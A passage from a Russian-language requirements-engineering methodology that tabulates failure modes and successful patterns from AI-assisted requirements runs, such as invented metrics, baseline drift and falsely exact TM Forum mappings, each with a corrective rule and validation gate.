\u0441\u0438\u0441\u0442\u0435\u043c\u044b. | FR \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u00ab\u043a\u0430\u043a\u043e\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442/\u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0446\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u00bb \u0438 \u043f\u043e\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f L2\u2013L4 \u0434\u0435\u0442\u0430\u043b\u044f\u043c\u0438. |\\n| `FR-02` wrong subject | RUN-0026 \u043c\u0435\u0445\u0430\u043d\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043b \u00ab\u0434\u0430\u0442\u044c \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u00bb \u043a \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f\u043c, \u043f\u043e\u0442\u0435\u0440\u044f\u0432 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u0430 \u0438 \u0442\u0435\u0441\u0442\u0438\u0440\u0443\u0435\u043c\u043e\u0441\u0442\u044c. | \u041d\u0435\u043b\u044c\u0437\u044f \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u0442\u044c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. | Subject \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u043e\u0431\u044b\u0442\u0438\u0435\u043c: `\u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 <\u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435/\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442>`; actor \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u043c\u043e\u0439 actor-\u043e\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438. |\\n| `FR-03` duplication | RUN-0016 \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0434\u0443\u0431\u043b\u0438 4.3.2/4.4.1 \u0438 4.5.1/6.1.1. | \u041d\u0435\u043b\u044c\u0437\u044f \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0434\u0432\u0430 ID \u0441 \u043e\u0434\u043d\u0438\u043c \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c \u0438\u043b\u0438 \u043e\u0434\u043d\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043a\u0430\u043a FR \u0438 constraint. | Semantic gate \u0441\u0442\u0440\u043e\u0438\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0433\u0440\u0430\u0444 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u2192\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435\u2192\u043e\u0431\u044a\u0435\u043a\u0442\u2192\u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 merge/link \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0434\u0443\u0431\u043b\u0435\u0439. |\\n| `UC-01` mixed artifact | \u0412 \u0434\u0438\u0430\u043b\u043e\u0433\u0430\u0445 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439, \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0438 UI-\u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u043a\u0430\u043a FR; \u0432 BCREQ-1106 \u043d\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u043b\u043e\u0441\u044c \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 variants. | \u041d\u0435\u043b\u044c\u0437\u044f \u0432\u044b\u0434\u0430\u0432\u0430\u0442\u044c \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0438\u043b\u0438 \u0432\u0435\u0442\u043a\u0443 \u043e\u0448\u0438\u0431\u043a\u0438 \u0437\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 FR. | UC \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 actor, trigger, preconditions, main flow, alternatives/exceptions, outcome \u0438 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 FR/NFR/constraints. |\\n| `NFR-01` invented metric | RUN-0015 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b 5 \u043c\u0438\u043d\u0443\u0442, 100 ms, 2 \u0441\u0435\u043a\u0443\u043d\u0434\u044b \u0438 24/7; \u0432\u0441\u0435 \u0447\u0438\u0441\u043b\u0430 \u0431\u044b\u043b\u0438 \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c. | \u041d\u0435\u043b\u044c\u0437\u044f \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0447\u0438\u0441\u043b\u043e\u0432\u043e\u0439 target \u0438\u0437 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438, \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438 \u0438\u043b\u0438 \u0441\u043b\u043e\u0432\u0430 \u00ab\u0431\u044b\u0441\u0442\u0440\u043e\u00bb. | NFR \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0441 quality attribute, \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u043c, condition, measure, target \u0438 provenance; \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u2014 TBD/open question. |\\n| `NFR-02` misclassification | BCREQ-1104 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u043f\u0440\u043e\u0438\u0433\u0440\u044b\u0432\u0430\u043d\u0438\u0435 \u0441\u0438\u0433\u043d\u0430\u043b\u0430 \u0432 \u00ab100%\u00bb NFR, \u0445\u043e\u0442\u044f \u044d\u0442\u043e functional outcome. | \u041d\u0435\u043b\u044c\u0437\u044f \u0434\u0435\u043b\u0430\u0442\u044c NFR \u0438\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u043d\u0442\u0430. | \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0439 outcome. NFR \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430/constraint \u043f\u043e\u0432\u0435\u0440\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0438; target \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043d\u043e\u0432\u044b\u0439 \u0442\u0438\u043f. |\\n| `STATE-01` baseline drift | RUN-0028 \u043f\u043e\u0442\u0435\u0440\u044f\u043b \u0432\u0435\u0440\u0445\u043d\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c 4.1\u20134.4 \u0438 \u0443\u0434\u0430\u043b\u0438\u043b 4.4.3; RUN-0016 \u0432\u0435\u0440\u043d\u0443\u043b \u0441\u043d\u044f\u0442\u044b\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u044b \u0432 summary. | \u041d\u0435\u043b\u044c\u0437\u044f \u043c\u043e\u043b\u0447\u0430 \u0443\u0434\u0430\u043b\u044f\u0442\u044c, \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u044b\u0432\u0430\u0442\u044c \u0438\u043b\u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u044d\u043b\u0435\u043c\u0435\u043d\u0442. | \u041a\u0430\u0436\u0434\u0430\u044f \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442 explicit change set \u043a baseline; \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 ID continuity, accepted/rejected decisions \u0438 unexplained diff. |\\n| `STATE-02` user correction | BCREQ-1104 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u043b \u043b\u043e\u0436\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u043a\u0442; \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u043e\u0437\u0436\u0435 \u0441\u043d\u043e\u0432\u0430 \u043e\u043f\u0438\u0440\u0430\u043b\u0430\u0441\u044c \u043d\u0430 \u043f\u0440\u0435\u0436\u043d\u044e\u044e \u0432\u0435\u0440\u0441\u0438\u044e. | \u041d\u0435\u043b\u044c\u0437\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c superseded claim \u043f\u043e\u0441\u043b\u0435 \u044f\u0432\u043d\u043e\u0439 \u043a\u043e\u0440\u0440\u0435\u043a\u0446\u0438\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430. | Decision log \u043f\u043e\u043c\u0435\u0447\u0430\u0435\u0442 claim `accepted/rejected/superseded`; retrieval \u0438 generation \u0438\u0441\u043a\u043b\u044e\u0447\u0430\u044e\u0442 rejected/superseded. |\\n| `FORMAT-01` instruction | RUN-0029 \u0434\u0432\u0430\u0436\u0434\u044b \u0432\u0435\u0440\u043d\u0443\u043b \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 \u0438 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u043f\u043e\u0441\u043b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u00ab\u0442\u043e\u043b\u044c\u043a\u043e \u0441\u043f\u0438\u0441\u043e\u043a \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432\u00bb. | \u041d\u0435\u043b\u044c\u0437\u044f \u043c\u0435\u043d\u044f\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0448\u0435\u043d\u043d\u0443\u044e \u0444\u043e\u0440\u043c\u0443 \u0431\u0435\u0437 \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442\u0430 \u0441 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c. | Rendering gate \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u0430\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043e\u0442 \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0438; \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u044f\u0432\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u044b. |\\n| `TMF-01` false authority | BCREQ-1104 \u0432\u044b\u0434\u0430\u043b \u043e\u0431\u0449\u0438\u0435 ODA/eTOM-\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u0430\u043a \u0442\u043e\u0447\u043d\u043e\u0435 TM Forum mapping \u0431\u0435\u0437 catalog ID \u0438 \u0432\u0435\u0440\u0441\u0438\u0438. | \u041d\u0435\u043b\u044c\u0437\u044f \u043d\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0442\u043e\u0447\u043d\u044b\u043c TM Forum \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435\u043c. | Binding \u0432\u0430\u043b\u0438\u0434\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u043c\u0443 versioned snapshot \u0441 \u0442\u043e\u0447\u043d\u044b\u043c\u0438 ID; \u0438\u043d\u0430\u0447\u0435 `unresolved`, \u0430 \u043d\u0435 guessed label. |\\n\\n## \u041f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u043b\u0443\u0447\u0430\u0438 \u0438 \u0438\u0437\u0432\u043b\u0435\u0447\u0451\u043d\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\\n\\n| Evidence | \u0427\u0442\u043e \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e | \u041f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e |\\n| --- | --- | --- |\\n| RUN-0016 | \u041d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043e; \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0441\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a, \u043d\u0435 \u0438\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f. | \u0414\u0435\u0442\u0430\u043b\u044c \u0431\u0435\u0437 evidence \u0443\u0434\u0430\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u043b\u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u043c; \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 FR, \u043d\u043e \u043d\u0435 \u043f\u043e\u0440\u043e\u0436\u0434\u0430\u0435\u0442 \u0435\u0433\u043e. |\\n| RUN-0025 | \u041d\u0430\u0439\u0434\u0435\u043d\u044b \u0434\u0443\u0431\u043b\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432, \u044d\u0442\u0430\u043f\u044b \u0440\u0430\u0431\u043e\u0442 \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u043f\u0440\u0430\u0432\u0438\u043b \u0438 \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442 \u0442\u0435\u0440\u043c\u0438\u043d\u0430; \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043e. | Review \u043e\u0431\u044f\u0437\u0430\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0442\u0438\u043f \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0438 decision authority, \u0430 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0433\u0440\u0430\u043c\u043c\u0430\u0442\u0438\u043a\u0443. |\\n| RUN-0026 | Scope expansion \u0438 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u0443\u0431\u043b\u044c \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b; \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0438 \u0434\u0430\u043b\u0430 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 \u0432\u044b\u0431\u0440\u0430\u0442\u044c. | \u041f\u0440\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0443\u044e\u0442\u0441\u044f \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0438 trade-offs, \u043d\u0435 \u0444\u0438\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043e\u0442\u0432\u0435\u0442. |\\n| RUN-0027 | \u0422\u0440\u0438 \u0447\u0438\u0441\u043b\u043e\u0432\u044b\u0445 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u044b \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u043c\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438; \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u0430\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u0430 \u044f\u0432\u043d\u043e. | \u0427\u0438\u0441\u043b\u043e \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0441 anchor \u0438 \u0441\u0442\u0430\u0442\u0443\u0441\u043e\u043c \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430; partial \u043d\u0435 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e fact. |\\n| RUN-0029 | \u041f\u043e\u0441\u043b\u0435 \u043a\u043e\u0440\u0440\u0435\u043a\u0446\u0438\u0438 \u0440\u0435\u0436\u0438\u043c \u0438\u0437\u043c\u0435\u043d\u0451\u043d \u0441 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u0438. | \u0420\u0435\u0436\u0438\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u2014 \u0447\u0430\u0441\u0442\u044c baseline \u0438 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u044f\u0432\u043d\u044b\u043c decision event. |\\n| RUN-0055 | 40 \u0438\u0437 50 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0445 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u044b, 10 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043f\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438. | Claim-level verification \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u0435\u0434\u0448\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c feasibility verdict. |\\n| RUN-0056\u2192RUN-0058 | \u041f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 gap \u0438\u0437-\u0437\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 API \u0431\u044b\u043b \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0435\u043d \u043f\u043e\u0441\u043b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430. | \u0412\u0435\u0440\u0434\u0438\u043a\u0442 \u0445\u0440\u0430\u043d\u0438\u0442 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 evidence \u0438 \u043e\u0431\u044f\u0437\u0430\u043d \u0431\u044b\u0442\u044c \u043f\u0435\u0440\u0435\u0441\u0447\u0438\u0442\u0430\u043d \u043f\u0440\u0438 \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u0438 SSOT. |\\n| RUN-0059 | \u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 Mango endpoints \u0438 JSON \u043d\u0435 \u0431\u044b\u043b\u0438 \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043d\u044b; \u043f\u0440\u043e\u0431\u0435\u043b \u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u043c gap. | Fail-closed \u043f\u043e\u043b\u0435\u0437\u043d\u0435\u0435 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0439 \u0441\u0445\u0435\u043c\u044b \u0431\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430. |\\n| RUN-0060 | 101 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 source anchors; \u0448\u0435\u0441\u0442\u044c \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0439 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b, \u043e\u0434\u0438\u043d verdict \u043f\u043e\u043d\u0438\u0436\u0435\u043d. | Reproducible index \u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0434\u043e\u043b\u0436\u043d\u044b \u0443\u043c\u0435\u0442\u044c \u0443\u0445\u0443\u0434\u0448\u0430\u0442\u044c \u043f\u0440\u0435\u0436\u043d\u0438\u0439 \u043e\u0442\u0432\u0435\u0442. |\\n| RUN-0063\u2192RUN-0067 | \u041f\u044f\u0442\u044c as-is \u043f\u0441\u0435\u0432\u0434\u043e-FR \u0443\u0434\u0430\u043b\u0435\u043d\u044b; \u0434\u0435\u043b\u044c\u0442\u0430 \u0441\u0432\u0435\u0434\u0435\u043d\u0430 \u043a \u0434\u0432\u0443\u043c FR, 14 AC \u0438 \u0434\u0435\u0432\u044f\u0442\u0438 \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c. | \u041c\u0430\u043b\u043e\u0435 \u0447\u0438\u0441\u043b\u043e capability FR + \u043f\u043e\u043b\u043d\u043e\u0435 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u044f\u043c\u0438 \u043b\u0443\u0447\u0448\u0435 \u0441\u043f\u0438\u0441\u043a\u0430 \u0442\u0435\u043a\u0443\u0449\u0438\u0445 UI-\u0444\u0430\u043a\u0442\u043e\u0432. |\\n| BCREQ-1104 | \u041f\u043e\u0441\u043b\u0435 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u043e\u043f\u0440\u0430\u0432\u043e\u043a \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0447\u0435\u0442\u044b\u0440\u0435 \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0431\u0435\u0437 \u043b\u0438\u0448\u043d\u0435\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0434\u0435\u0442\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438. | Human correction \u0434\u043e\u043b\u0436\u043d\u0430 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f regression example, \u0430 \u043d\u0435 \u043e\u0434\u043d\u043e\u0440\u0430\u0437\u043e\u0432\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u0430. |\\n| BCREQ-1106 | \u0420\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043e\u0442 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u044b\u0431\u043e\u0440\u0430 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043b\u043e \u0441\u0432\u043e\u0431\u043e\u0434\u0443 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f. | \u0414\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432 solution layer, \u043d\u0435 \u043c\u0430\u0441\u043a\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043f\u043e\u0434 FR. |\\n\\n## \u0421\u0442\u0440\u043e\u0433\u0438\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0438 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b\\n\\n\u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b \u0441\\n[ISO/IEC/IEEE 29148:2018](https://www.iso.org/obp/ui?_escaped_fragment_=iso%3Astd%3Aiso-iec-ieee%3A29148%3Aed-2%3Av1%3Aen)\\n\u0438 [IREB CPRE Glossary](https://cpre.ireb.org/en/downloads-and-resources/glossary),\\n\u043d\u043e \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043a BCREQ-\u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430.\\n\\n### Functional Requirement\\n\\n**\u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435.** FR \u2014 \u043e\u0434\u043d\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0435, 